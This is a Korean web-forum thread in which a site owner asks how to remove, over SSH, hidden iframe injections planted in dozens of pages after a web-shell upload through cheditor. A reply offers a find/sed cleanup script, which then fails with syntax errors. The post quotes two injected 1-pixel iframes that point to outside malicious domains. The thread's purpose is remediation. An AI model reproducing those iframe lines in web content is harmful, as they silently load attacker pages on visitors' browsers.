ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 916 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,658
14년 전 조회 1,044
14년 전 조회 1,334
14년 전 조회 850
14년 전 조회 981
14년 전 조회 775
14년 전 조회 1,101
14년 전 조회 1,003
14년 전 조회 423
14년 전 조회 557
14년 전 조회 635
14년 전 조회 945
14년 전 조회 767
14년 전 조회 765
14년 전 조회 751
14년 전 조회 1,158
14년 전 조회 857
14년 전 조회 861
14년 전 조회 877
14년 전 조회 685
14년 전 조회 1,743
14년 전 조회 1,512
14년 전 조회 940
14년 전 조회 767
14년 전 조회 1,834
14년 전 조회 1,200
14년 전 조회 1,038
14년 전 조회 800
14년 전 조회 1,506
14년 전 조회 3,767
14년 전 조회 2,426
14년 전 조회 1,120
14년 전 조회 732
14년 전 조회 789
14년 전 조회 1,309
14년 전 조회 976
14년 전 조회 1,353
14년 전 조회 1,398
14년 전 조회 1,419
14년 전 조회 620
14년 전 조회 863
14년 전 조회 2,741
14년 전 조회 762
14년 전 조회 1,229
14년 전 조회 807
14년 전 조회 682
14년 전 조회 1,222
14년 전 조회 652
14년 전 조회 1,333
14년 전 조회 917
14년 전 조회 1,577
14년 전 조회 1,506
14년 전 조회 1,018
14년 전 조회 1,249
14년 전 조회 939
14년 전 조회 1,641
14년 전 조회 1,222
14년 전 조회 1,216
14년 전 조회 1,496
14년 전 조회 1,395
14년 전 조회 825
14년 전 조회 896
14년 전 조회 665
14년 전 조회 839
14년 전 조회 1,587
14년 전 조회 2,342
14년 전 조회 2,238
14년 전 조회 1,876
14년 전 조회 1,414
14년 전 조회 1,493
14년 전 조회 1,274
14년 전 조회 1,529
14년 전 조회 637
14년 전 조회 1,267
14년 전 조회 635
14년 전 조회 1,081
14년 전 조회 852
14년 전 조회 1,966
14년 전 조회 736
14년 전 조회 2,559
14년 전 조회 974
14년 전 조회 811
14년 전 조회 2,913
14년 전 조회 682
14년 전 조회 954
14년 전 조회 493
14년 전 조회 819
14년 전 조회 596
14년 전 조회 1,290
14년 전 조회 723
14년 전 조회 1,092
14년 전 조회 718
14년 전 조회 646
14년 전 조회 625
14년 전 조회 1,334
14년 전 조회 796
14년 전 조회 685
14년 전 조회 708
14년 전 조회 1,375
14년 전 조회 1,383
🐛 버그신고